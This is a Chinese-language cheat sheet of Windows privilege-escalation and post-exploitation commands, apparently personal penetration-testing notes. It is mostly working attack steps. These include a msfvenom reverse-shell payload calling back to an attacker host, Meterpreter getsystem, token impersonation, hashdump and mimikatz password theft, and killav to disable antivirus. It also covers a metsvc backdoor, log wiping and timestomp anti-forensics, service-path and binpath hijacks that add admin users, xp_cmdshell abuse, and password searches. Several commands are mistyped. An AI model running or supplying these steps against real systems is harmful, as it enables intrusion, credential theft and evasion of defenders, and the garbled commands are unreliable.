windows提权
权限等级
1 user
2 administrator
3 system
常用命令
systeminfo | findstr OS #系统版本信息,此处进行了筛选
hostname #主机名称
whomai #显示当前用户
quser #获取在线用户
netstat -ano | findstr 3389 #查看机器端口3389占用情况,并获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软即其他软件
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" + netstat -ano #显示每个进程中的服务,并获取远程端口
tasklist /m shell32.dll # 查看调用DLL模块文件的进程列表
taskkill /pid 1132 #终止进程
taskkill /IM notepad.exe #同上
netuser 显示当前系统拥有账号
windows 2003
反弹shell生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.114.128 LPORT=4444 -f exe -o payload.exe
反弹shell连接:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
获取反弹shell后查看权限:
getuid
getsystem #win2003下直接获取system权限
绕过UAC策略:
显示所有运行进程以及关联的用户账户,并迁徙到指定进程:
ps
令牌假冒:
use incognito
查看存在的令牌
list_tokens-u
令牌假冒:
impersonate_token HU-7F2870BE8C91\\Administrator
成功之后getuid查看一下就好
获取凭证
run hashdump
加载mimikatz模块:
load mimikatz
获取明文密码:
wdigest
关闭防病毒软件
run killav
run post/windows/manage/killav
操作远程桌面
run post/windows/manage/enable_rdp开启远程桌面
run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
后门:
run metsvc
命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
同时新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
连接:
使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
在远程目标主机上添加一个用户。
add_user username password -h ip
后渗透测试
清除目标主机上的日志记录
clearev
修改文件属性,例如修改文件的创建时间(反取证调差)
timestomp
at提权
适用范围:
Windows2000、Windows 2003、Windows XP
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。类似于查找定时任务进行提权
at 19:43 /interactive cmd #19.43时打开
此时获取一个system的cmd,利用taskmgr命令调用任务管理器,此时的任务管理器是system权限。
获取system权限的桌面:
利用taskmgr命令调用任务管理器,切换到进程结束explorer进程,再返回应用程序,创建新任务,explorer,此时桌面就会重启,我们得到了一个system权限的桌面。
我们此时定一个定时任务,利用at命令。
at 19:43 /interactive exe程序具体路径
定时之后会返回shell权限的命令行。
sc命令提权
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
sc start systcmd #此时就获取了一个system权限的cmd环境
服务重启提权
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
like:
C:\Program Files\Some Folder\Service.exe
上式存在空格,那么当系统碰到了这个空格,他会在文件路径下查找所有可能匹配项直到找到一个匹配为止。
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
所以根据此项:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
#这个命令能够帮助我们列出目标机器上所有没用引号的文件路径
首先我们利用icacls查看文件夹权限
icacls "D:\phpstudy_pro\COM\phpStudyServer.exe"
重启PFnet服务用来反弹我们的shell
sc stop PFNet
sc start PFNet
此时Windows定位并重启了我们的恶意软件弹回了一个具有系统权限的Shell。
exploit/windows/local/trusted_service_path
关于利用服务进行提权
Windows服务以及我们下载的环境文件等等。
在Windows当中,系统服务具有修改自己属性的能力,操作系统通过Service Control Manager进行控制。假如我们可以修改服务的二进制文件,那么在服务重启后,我们就拥有了一个以SYSTEM权限运行的自己的服务了。
注:AccessChk能够帮助我们查找系统中我们能够修改的服务,即具有写权限。
accesschk.exe -uwcqv "Authenticated Users" * /accepteula #目标机器执行即可
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
当发现具体服务后,我们使用sc进行查看:
sc qc SERVICE
SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
此时我们能发现该服务的二进制文件路径,在binary_path_name
,将这个值改为我们需要执行的系统命令,例如添加用户,与添加组。
sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
sc stop PFNET
sc start PFNET
可能有报错,但是其实是成功的。
关于shell当中命令
添加用户
net user hacker 123 /add
net user hacker /del
添加用户到管理员组:
net localgroup administrator hacker /add
net localgroup administrator hacker /del
win2008
利用xp_cmdshell提权
xpcmdshell是Sql Server中的一个组件,可以用来执行系统命令 在拿到sa口令之后,经常可以通过xpcmdshell来进行提权
确认xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘xp_cmdshell‘
打开xp_cmdshell
EXEC sp_configure ‘show advanced options‘, 1; #开启改为1,关闭改为0
RECONFIGURE;
go
EXEC sp_configure ‘xp_cmdshell‘, 1;
RECONFIGURE;
go
exec sp_configure
命令执行:
exec xp_cmdshell “whoami”
当cmd权限不足的时候,即被降权:
启用沙盒模式执行shell命令:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE‘,‘SOFTWARE\Microsoft\Jet\4.0\Engines‘,‘SandBoxMode‘,‘REG_DWORD‘,1;
select * from openrowset(‘microsoft.jet.oledb.4.0‘,‘;database=ias\dnary.mdb‘,‘select shell("whoami")‘);
相关实战文章:https://www.freebuf.com/articles/web/10280.html
DLL劫持
动态链接库(DLL)通过提供跨系统共享的可执行代码模块,在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时,就会出现漏洞。
查找顺序:
32位系统目录(C:\Windows\System32)
16位系统目录(C:\Windows\System)
Windows目录(C:\Windows)
当前工作目录(CWD)
PATH环境变量中的目录(系统路径,然后是用户路径)
一些已知具有DLL劫持漏洞的Windows服务是:
IKE和AuthIP IPsec密钥模块(IKEEXT):wlbsctrl.dll
Windows Media Center接收器服务(ehRecvr):ehETW.dll
Windows Media Center计划程序服务(ehSched):ehETW.dll
自动更新(wuauserv):ifsproxy.dll
远程桌面帮助会话管理器(RDSessMgr):SalemHook.dll
远程访问连接管理器(RasMan):ipbootp.dll
Windows Management Instrumentation(winmgmt):wbemcore.dll
音频服务(STacSV):SFFXComm.dll SFCOM.DLL
英特尔快速存储技术(IAStorDataMgrSvc):DriverSim.dll
Juniper统一网络服务(JuniperAccessService):dsLogService.dll
Encase Enterprise Agent:SDDisk.dll
敏感信息搜集
几个命令:
dir C:\ /s /b /c | findstr /sr \*password\*
findstr /si password \*.txt | \*.xml | \*.ini
查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
在文件内容中搜索password之类的关键字:
findstr /si password \*.txt | \*.xml | \*.ini
AlwaysInstallElevated
AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
查询命令:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated